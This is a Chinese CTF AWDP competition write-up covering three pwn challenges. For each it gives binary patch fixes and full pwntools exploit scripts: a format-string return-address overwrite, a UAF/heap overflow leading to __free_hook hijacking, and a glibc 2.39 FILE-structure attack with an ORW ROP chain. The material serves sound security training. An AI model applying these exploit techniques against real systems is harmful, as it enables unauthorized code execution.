README
本次决赛AWDP 共 4道 pwn题, 整体除了 PHP看不懂,其他的都能 fix 和 break ,比赛时间还是挺久的,但是做着做着就时间就所剩无几了,最后CHR 也没能break(自己太垃圾了)

awdp 第13名,最终总排名 32 名 无缘一等奖,和前面的队伍就差几分,如果再开个渗透题也就一了,奈何我太菜了呜呜呜爆0了,靠队友带飞

修补包示例
- update.sh
1 2 3 | #!/bin/shmv pwn_fix /home/ctf/pwnchmod 777 /home/ctf/pwn |
- 打包命令
1 | tar zcvf update.tar.gz update.sh pwn_fix |
anime
Fix
fix 比较简单,非stack 上格式化字符串漏洞
把 call _printf 改从 call _puts 既可

Break
漏洞利用并不难,此题我在libc 的替换上话花了太多时间
先来说一下比赛中遇到的一下坑点
一般做格式化字符串漏洞的题目时,我一般会把给的附件 patch成题目指定的glibc 版本
附件给的时 pwn libc.so.6 libcrypto.so.1.1 glibc 2.31, 我本地没有 ubutnu 20,只能通过替换成 glibcallinone

- 直接说坑点把,pwn 文件 其实只需要
ld.so libc.so.6 libcrypto.so.1.1 - 至于
libdl.so.2 libpthread.so.0其实是libcrypto.so.1.1需要的 - 导致后面就算把
libdl.so.2 libpthread.so.0放到当前目录下也不行

- 最后patch 好了


我是傻逼
- 后面就是非stack 上格式话字符串漏洞了,修改 main 函数的返回地址 打 ogg 既可以 ( 前期打 poprdi-binsh-system ,只能正确写前 0x10 ,转变写一个 ogg 也就可以了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | from pwn import *import sysfrom Crypto.Cipher import AESs = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(str(delim), data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(str(delim), data)r = lambda num :io.recv(num)ru = lambda delims, drop=True :io.recvuntil(delims, drop)rl = lambda :io.recvline()itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))ls = lambda data :log.success(data)lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'#context.log_level = 'debug'context.terminal = ['tmux','splitw','-h','-l','130']def start(binary,argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw) elif args.RE: return remote('123.57.149.79',37175) elif args.AWD: # python3 exp.py AWD 1.1.1.1 PORT IP = str(sys.argv[1]) PORT = int(sys.argv[2]) return remote(IP,PORT) else: return process([binary] + argv, *a, **kw)binary = './pwn'libelf = ''if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libcif (libelf!=''): libc = ELF(libelf)gdbscript = '''brva 0x15CBbrva 0x00015FF#continue'''.format(**locals())def _pad(bStr:bytes): blen=len(bStr) add=16-(blen%16) buffer=bStr+add*chr(0).encode() return bufferkey = bytes.fromhex('7BF35CD69C475D5E6F1D7A23187BF934')def sendpay(pay): ru('anime: ') pay = _pad(pay) aes = AES.new(key,AES.MODE_ECB) # ECB cr_text = aes.encrypt(pay) s(cr_text) ru('your like ') io = start(binary)ru('name\n')pay = '/bin/sh;'s(pay)ru('/bin/sh;')elf_base = uu64(r(6)) - 0x11e0lss('elf_base')#pay = f"%{6+6}$p"pay = pay.encode()sendpay(pay)stack = int(ru('!'),16)lss('stack')count = stack - 284lss('count')pay = f"%{count & 0xFFFF}c%{6+0xb}$hn"pay = pay.encode()sendpay(pay)pay = f"%19c%{6+0x27}$hn"pay = pay.encode()sendpay(pay)#09:0048│ 0x7ffe087b05e8 —? 0x7d1810232083 (__libc_start_main+243) ?— mov edi, eaxpay = f"%{6+9}$p"pay = pay.encode()sendpay(pay)libc_base = int(ru('!'),16) - libc.sym['__libc_start_main'] - 243lss('libc_base')libc.address = libc_baserdi = next(libc.search(asm('pop rdi;ret')))binsh = 0x1234system = libc.sym['system']ogg = 0xe3b01rop = p64(libc_base + ogg) #+ p64(rdi) + p64(binsh) + p64(system)stack_ret = stack - 232for i in range(len(rop)): pay = f"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00" pay = pay.encode() sendpay(pay) pd = rop[i] if(pd==0): pay = f"%{6+0x27}$hhn\x00" else: pay = f"%{pd}c%{6+0x27}$hhn\x00" pay = pay.encode() sendpay(pay)#gdb.attach(io,gdbscript)pay = f"A\x00"pay = pay.encode()sendpay(pay) itr() |
ezheap
Fix
- 一开始没有关注 uaf 这里,导致前几轮没能fix,后面才意识到
漏洞点再 rm() 函数里

free 堆块后,并没有清空指向堆块的指针,导致UAF漏洞。

- 没有修复时的汇编

- 修复后的汇编

1 2 3 4 5 6 7 8 9 | mov rax, qword ptr [rbp_var_4] ; 取idxshl eax, 3 ; idx 乘以 8lea rdx, qword ptr [0xA080] ; 取 heap_list 的地址add rdx, rax ; 计算索引的地址push rdx ; 将堆指针 压到stack 上mov rdi,[rdx] ; 取heap地址call _free ; free heap ;ret 后 rdi 寄存器是空的pop rdx ; 取出指向heap的指针mov [rdx], rdi ; 清空指针的内容 |

- 保存修改后的


- 打包

- 上传 tar.gz


Break
被自己蠢哭,前期堆块分配的风水不是很好,导致后面改完tcachebins 后 ,没有机会继续申请了。只能重新写了一份exp, 又浪费了宝贵时间,导致最后几轮才成功Break(不然早就 Break了),我怎么这么垃圾。。
已知UAF漏洞.
经过分析还存在 堆溢出漏洞, edit 时 可以重新定义写入大小导致堆溢出漏洞
glibc2.31
add 时 size 的大小再 0x10-0x400,free后不会进入unsortedbin。
而且有堆块数量限制,不能通过填满 tcachebins 让堆块进入unsortedbin。
利用堆溢出修改 堆块的 size, free 后进入 unsortedbin,从而泄露 libc 地址
后面就控制tcachebins,任意地址申请到
__free_hook既可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | from pwn import *s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(str(delim), data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(str(delim), data)r = lambda num :io.recv(num)rl = lambda :io.recvline()ru = lambda delims, drop=True :io.recvuntil(delims, drop)itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))ls = lambda data :log.success(data)lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux','splitw','-h','-l','130']def start(binary,argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw) elif args.RE: return remote('39.106.48.123',30155) else: return process([binary] + argv, *a, **kw)binary = './pwn'libelf = ''if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libcif (libelf!=''): libc = ELF(libelf)gdbscript = '''#brva 0x1917#brva 0x17A3brva 0x0156C#continue'''.format(**locals())io = start(binary)def add(idx=0,l=0,meg='A'): ru('Please input:') json = '{' + f''' "choice":"new", "index": {idx}, "length": {l}, "message":"{meg}" ''' + '}' json = json.replace('\n','').replace(' ','') sl(json)def rm(idx=0,l=0,meg='A'): ru('Please input:') json = '{' + f''' "choice":"rm", "index": {idx}, "length": {l}, "message":"{meg}" ''' + '}' json = json.replace('\n','').replace(' ','') sl(json)def show(idx=0,l=0,meg='A'): ru('Please input:') json = '{' + f''' "choice":"view", "index": {idx}, "length": {l}, "message":"{meg}" ''' + '}' json = json.replace('\n','').replace(' ','') sl(json)def edit(idx=0,l=0,meg='A'): ru('Please input:') json = '{' + f''' "choice":"modify", "index": {idx}, "length": {l}, "message":"{meg.decode()}" ''' + '}' json = json.replace('\n','').replace(' ','') sl(json)add(0,0x78,"I"*0x28)add(1,0x3f8,"A"*0x28)add(2,0x78,"I"*0x28)add(3,0x78,"I"*0x28)edit(0,736+0xa,b'Y'*(736+8)+p16(0x401+0x50*5+0x20*5))rm(1)add(4,16,'')edit(4,1,b"C")show(4)ru('message:')libc_base = uu64(r(6)) - 2018115lss('libc_base')rm(2)rm(3)ru('Please input:')json = b'{"choice":"modify","index":3, "length": 9, "message":"'+p64(libc_base + libc.sym['__free_hook'])[:6]+b'"}'json = json.replace(b' ',b'')print(json)sl(json)add(5,0x78,'/bin/sh;')ru('Please input:')json = b'{"choice":"new","index":6, "length": 120, "message":"'+p64(libc_base + libc.sym['system'])[:6]+b'"}'json = json.replace(b' ',b'')print(json)sl(json)#gdb.attach(io,gdbscript)rm(5)io.interactive() |
CHR
Fix
- 瞎 fix 的, 居然成功了,
限制大小

Break(赛后)
比赛好几个小时,理论上三题fix和break都可以做出来的,比赛的时候时间还是比较紧的,失误一点都会浪费好多时间,后面就剩两三轮了,也就不想做了呜呜呜
Break 后 也就指定漏洞点了,Fix 肯定也就比较容易了
恰好我本地也是 ubuntu 24 glibc 2.39,我就单纯打个本地吧

- 转换后会造成堆溢出


- 堆溢出的利用,后面任意地址申请 先去控制
_IO_2_1_stdin_结构体,然后scanf触发任意地址写到_IO_2_1_stdout_后面 puts 触发IO 流攻击。 - 后面就是ORW flag 既可

- 任意写

- scanf触发

- 劫持IO流

- puts 触发IO攻击,后面就是 ROP 既可

- 最后exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 | from pwn import *import syss = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(str(delim), data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(str(delim), data)r = lambda num :io.recv(num)ru = lambda delims, drop=True :io.recvuntil(delims, drop)rl = lambda :io.recvline()itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))ls = lambda data :log.success(data)lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['tmux','splitw','-h','-l','130']def start(binary,argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw) elif args.RE: return remote() elif args.AWD: # python3 exp.py AWD 1.1.1.1 PORT IP = str(sys.argv[1]) PORT = int(sys.argv[2]) return remote(IP,PORT) else: return process([binary] + argv, *a, **kw)binary = './pwn'libelf = ''if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libcif (libelf!=''): libc = ELF(libelf)gdbscript = '''#brva 0x0182F#brva 0x01C7D#brva 0x01BC8#continue'''.format(**locals())io = start(binary)def add(size,text='A'): ru('>> ') sl('1') ru('size:') sl(str(size)) ru('content:') s(text)def rm(idx): ru('>> ') sl('2') ru('idx:\n') sl(str(idx))def edit(idx,text): ru('>> ') sl('3') ru('idx:') sl(str(idx)) ru('content:') s(text)def show(idx): ru('>> ') sl('4') ru('idx:') sl(str(idx)) ru('content:')def convert(idx): ru('>> ') sl('5') ru('idx:\n') sl(str(idx))#for i in range(0x10):for i in range(0x8): add(0x108) add(0x108)# 0-15pay = b'A' * 0x100pay += '鸡'.encode('utf-8') + p16(0x110 * 5 + 1)edit(0,pay)convert(0)rm(1)for i in range(7): add(0x108*2) # 16show(5)libc_base = uu64(r(6)) - 2112288lss('libc_base')pay = b'A' * 0x108 + p64(0x111)edit(0x14,pay) #20rm(2)pay = b'A' * 0x110edit(0x14,pay) #20show(0x14)ru(pay)key = uu64(r(5))heap_addr = key << 0xCpay = b'A' * 0x108 + p64(0x111)edit(0x15,pay) #20rm(4)libc.address = libc_base_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']pay = b'A' * 0x108 + p64(0x111)pay += p64(key ^ (_IO_2_1_stdin_ - 0x90))edit(0x15,pay) #20add(0x108)lss('libc_base')lss('key')lss('heap_addr')#gdb.attach(io,gdbscript)#gdb.attach(io,'b *setcontext+61')x = _IO_2_1_stdout_pay = b'\x00' * 0x90 + p64(0xfbad1800) + p64(0) * 6 + p64(x) + p64(x + 0x130)add(0x108,pay)pause()fake_IO_addr = _IO_2_1_stdout_pay = flat({ 0x00: 0, 0x18: libc.sym['setcontext'] + 61, 0x20: fake_IO_addr, # 0x20 > 0x18 0x68: 0, # rdi #read fd 0x70: fake_IO_addr, # rsi #read buf 0x88: fake_IO_addr, # rdx #read size 0xa0: fake_IO_addr, 0xa8: libc.sym['read'], # RCE2 ogg 0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 - 0x20, 0xe0: fake_IO_addr,},filler=b'\x00')sl(pay)pause()rop = ROP(libc)rax = rop.find_gadget(['pop rax', 'ret'])[0]rdi = rop.find_gadget(['pop rdi', 'ret'])[0]rsi = rop.find_gadget(['pop rsi', 'ret'])[0]rdx = libc_base + 0x00000000000b502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; retsyscall = libc.sym['read'] + 15pay = p64(rax) + p64(2) + p64(rdi) + p64(fake_IO_addr + 0x110) + p64(rsi) + p64(0) + p64(syscall)pay += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(0) + p64(rdi) + p64(3) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)pay += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)pay = pay.ljust(0x110,b'\x00')pay += b'/flag\x00'sl(pay)itr() |

整体下来,题目还是比较简单的。出了 那个 PHP的我看不懂..
附件
1 | https://pan.baidu.com/s/1Ci6Mt9gr10OIpRVYYqMedw?pwd=imlz |